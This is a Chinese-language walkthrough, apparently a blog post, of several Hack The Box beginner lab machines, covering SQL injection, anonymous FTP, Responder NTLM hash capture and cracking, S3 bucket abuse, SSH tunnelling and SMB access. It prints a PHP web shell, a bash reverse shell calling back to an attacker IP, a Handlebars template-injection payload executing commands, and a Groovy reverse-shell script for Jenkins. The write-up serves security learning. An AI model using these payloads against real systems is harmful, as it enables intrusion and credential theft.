# HTB 1 层

# Appointment

fscan 扫描

发现开放了 80 端口,浏览器访问 ip

看到登录框尝试进行 sql 注入

注入成功

总结:本台靶机的考点就是普通的 sql 注入,用单引号闭合前面的语句并且使用 #注释 pass 成功实现注入

# Sequel

fscan 进行扫描

发现 3306 端口开放,3306 是 mysql 数据库的常用端口,用命令进行连接

1
mysql -uroot -h 10.129.214.75

接下来就是正常的 sql 语句查询的操作了,flag 在 config 表中

1
2
3
4
show databases;
use htb;
show tables;
select * from config;

总结:该台靶机的考点就在于 3306 端口开放的 mysql 服务,通过命令无密码连接之后利用 sql 语句去查找表中的字段值

# Crocodile

fscan 扫描

21 端口开放了 ftp 服务,并且扫描结果已经显示出来了 anonymous 可以免密登录

同上面扫描结果显示的一样,有 allowed.userlist、allowed.userlist.passwd 两个文件,都 get 下来

能看到是对应的用户名密码,并且这台靶机除了开放 21 端口外还开放了 80 端口,有 web 服务,访问看看

dirsearch 或者 gobuster 扫描一下目录

1
2
python3 ./dirsearch.py -u 10.129.1.15
gobuster dir --url http://10.129.1.15 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x .php

发现登录口 login.php,访问

用上之前 ftp 得到的 admin 用户和密码

1
2
admin 
rKXM59ESxesUFHAd

后台直接显示 flag

总结:这台靶机的考点主要还是在 ftp 登录和传输文件,将 web 端的后台登陆账号密码放在了默认无密码用户登录的 ftp 当中,登录后台获取 flag

# Responder

fscan 扫描

开放了 80 端口,web 端访问一下

发现重定向到域名解析失败,修改 /etc/hosts,添加

1
10.129.189.214 unika.htb

刷新访问成功

这里需要用到 responder 设置监听来伪造服务端,详细说明一下

如果客户端 / 目标无法通过 DNS 域名解析,则会回退到 LLMNR (在 Windows
Vista 中入) 和 NBT-NS 进行解析

1
2
LLMNR (链路本地多播名称解析): 多播方式查找网络上的主机,其它主机响应IP,然后连接
NetBIOS(NBT-NS网络名称服务): 将主机的广播请求发送到本地子网,如果其它主机存在该名称,就响应。

这两种协议都是基于信任的,只有目标主机才会相应,但是攻击者可以冒充被请求的主机发出响应,windows 主机之间有多种认证方式,这里使用的是 NTLM 协议

因此可以梳理一下本题抓取 hash 大致流程:

1
2
3
4
5
1.先在本地设置responder监听
2.利用漏洞进行本地文件包含,但目标无法通过NDS域名解析,回退到两个协议
3.LLMNR与NBT-NS配合进行广播寻找,这是监听的responder发出了相应
4.根据ntlm的认证流程,先后收到了来自目标机子的username、domainname以及用目标机子密码hash加密的伪造responder机子传输过去的challenge(作为respond)
5.获取hash使用john进行爆破

对 ntlm 认证过程不了解的可以去看看另一篇(NTLM 协议流量解密)

知道了大致流程原理之后进行操作,先设置监听

1
responder -I tun0

接着在浏览器进行本地文件包含的操作

伪造成功,成功抓取

将 hash 保存到 hash.txt 中,使用 john 或者 hashcat 利用 rockyou 字典进行爆破

1
2
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 5600 hash.txt rockyou.txt -o out.txt --force

得到密码 badminton

fscan 端口扫描没扫全,再用 nmap 进行一次扫描

发现 5985 端口开放,上网查找能知道这个端口的常用服务是 winrm 远程管理

之前已经得到了用户名和密码,配合 winrm 进行远程登录

1
2
apt-get install evil-winrm	#安装
evil-winrm -i 靶机IP -u Administrator -p badminton #使用

flag 在 mike 用户的桌面中

总结:本台靶机利用 responder 配合 5985 的 winrm 进行远程登录,需要注意的是 responder 监听抓取认证过程中用户密码 hash 的流程

# Three

fscan 进行扫描

发现开放了 80 端口,浏览器进行访问

在 web 页面底端找到了带有域名的 email,添加到 /etc/hosts 访问一下

既然得到了域名,进一步进行信息搜集,爆破一下子域名

1
gobuster vhost -w /usr/share/wordlists/subnames.txt -u http://thetoppers.htb

得到了 s3.thetoppers.htb,没有爆破成功的也可以直接看题目提示

同样先加到 /etc/hosts 当中,访问

接下来可以利用 aws 工具对 s3 的桶进行操作,并且写入木马拿到 shell

安装:

1
apt install -y awscli -y

配置:

1
aws configure

列出所有 s3 的桶:

1
aws --endpoint=http://s3.thetoppers.htb s3 ls

列出 s3 下的目录及对象:

1
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

接着写入木马到文件当中,这里使用了 GET 传参的方式,用来进行远程命令执行

1
echo '<?php system($_GET["nnnpc"]); ?>' > shell.php

利用 cp 命令 copy 到桶里

1
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

木马被成功解析

在上一级目录中获取了 flag

但对于平时的渗透过程中,光能 rce 是肯定不够的,所以需要想办法进行权限维持,这里可以配合已经上传的木马进行反弹 shell 的操作

先写一个可执行文件 shell.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.66/1234 0>&1

ip 为需要反弹的 ip,也就是攻击机的 tun0

这里有两种方法上传可执行文件,一种就是本地利用 python 开放个 web 端口,利用 shell.php 远程 curl 下载并执行

还有一种方法就是通过 aws 同样上传,并通过 shell.php 去执行 sh 文件,这里演示第二种

首先 aws 同样将 shell.sh copy 到桶里

1
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.sh s3://thetoppers.htb

利用 shell.php 查看

成功上传,监听 sh 文件中的 1234 端口

1
nc -lnvp 1234

利用 bash 执行 sh 文件

1
http://thetoppers.htb/shell.php?nnnpc=bash shell.sh

成功获得 shell

总结:本台靶机主要的知识点在 aws 命令对 s3 的桶进行操作写马,写入木马以后再进行一些反弹 shell 的权限维持操作

# Ignition

fscan 扫描

80 端口开放,绑定 hosts 浏览器访问

使用 dirsearch 或 gobuster 扫描目录

1
gobuster dir -u http://ignition.htb/ -w /usr/share/wordlists/dirb/common.txt

发现了 /admin 目录,访问

使用 bp 密码弱口令爆破得到 admin qwerty123

登录成功即可获得 flag

总结:本题的考点主要在于目录爆破和后台账号密码的爆破

# Bike

fscan 扫描

80 端口开放,同样进行访问

测试发现存在 ssti 模板注入

payload:

1
{{#with "s" as |string|}}  {{#with "e"}}  {{#with split as |conslist|}}  {{this.pop}}  {{this.push (lookup string.sub "constructor")}}  {{this.pop}}  {{#with string.split as |codelist|}}  {{this.pop}}  {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}  {{this.pop}}  {{#each conslist}}  {{#with (string.sub.apply 0 codelist)}}  {{this}}  {{/with}}  {{/each}}  {{/with}}  {{/with}}  {{/with}}  {{/with}}

总结:本台靶机主要是利用了 ssti 模板注入比较普通的注入链子

# Funnel

fscan 扫描

发现开放了 21 端口 ftp 服务

anonymous 用户名空密码登录并发现了 mail_backup 文件夹

get 文件夹中的两个文件

并且在 pdf 中发现了较为关键的默认密码:funnel123#!#

在 welcome 文件中发现了 5 个目的用户名

结合刚才的 22 开放端口,尝试遍历这五个用户名和默认密码

最终在 christine 用户登录成功

1
ssh christine@10.129.228.195

检查哪些端口在执行本地监听

1
ss -tln

检查在端口上默认运行的服务

1
ss -tl

发现 5432 端口运行了 postgresql 服务

可以通过 psql 进行连接操作

但发现远程主机并没有该工具并且现在所拥有的权限不足以去下载工具

这里就利用 ssh 搭建隧道,实现本地端口的转发

这里理解一下本地端口转发:实质上就是在客户机指定端口上分配一个套接字侦听器,当连接到该端口时,客户机会将现有的 ssh 会话发送到远程服务器的端口,

该隧道将网络流量从本地端口转发到了远程端口,使本地执行的命令能够通过 ssh 隧道转发到远程进行执行

接下来使用 ssh 搭建隧道

1
ssh -L 1234:localhost:5432 christine@10.129.228.195

直接在本地下载 psql 工具并访问本地的 1234 端口

成功通过 ssh 隧道实现本地端口转发,连接了远程 postgresql 服务

1
2
3
4
\l # \list缩写,列出现有数据库,按q退出
\c secrets # 连接数据库
\dt #查看数据库中的表
select * from flag;

总结:本台靶机主要的知识点在于利用 ssh 搭建隧道实现本地端口转发,解决远程主机无法使用 psql 的问题

# Pennyworth

fscan 扫描

发现 8080 端口开放,浏览器访问

发现登录口,弱口令爆破得到

1
2
3
账号:root

密码:password

成功登录后台

而在 Jenkins 的脚本控制台中,可以编写和运行 Groovy 脚本,我们就可以插入反弹 shell 的 Groovy 脚本

路径:http://10.129.109.40:8080/script

1
2
3
4
5
6
7
String host="host_ip";

int port=监听端口;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

本地监听 1234 端口

1
nc -lnvp 1234

点击 run 运行脚本成功获得 shell

flag 在 root 目录下

总结:本台靶机主要考点在 Jenkins 的 script 目录下可以编写运行 Groovy 脚本,利用该功能编写脚本实现 shell 的反弹

# Tactics

fscan 扫描

开放了 445 端口,使用 smbclient 列出 Administrator 用户下的共享文件(空密码)

1
smbclient -L 10.129.172.139 -U Administrator

连接 C$ 文件

1
smbclient \\\\10.129.172.139\\C$ -U Administrator

最终的 flag 在 Administrator 用户的 Desktop 中

get 下来即可

总结:本台靶机的考点还是 445 端口的 smb 共享文件,Administrator 用户空密码

更新于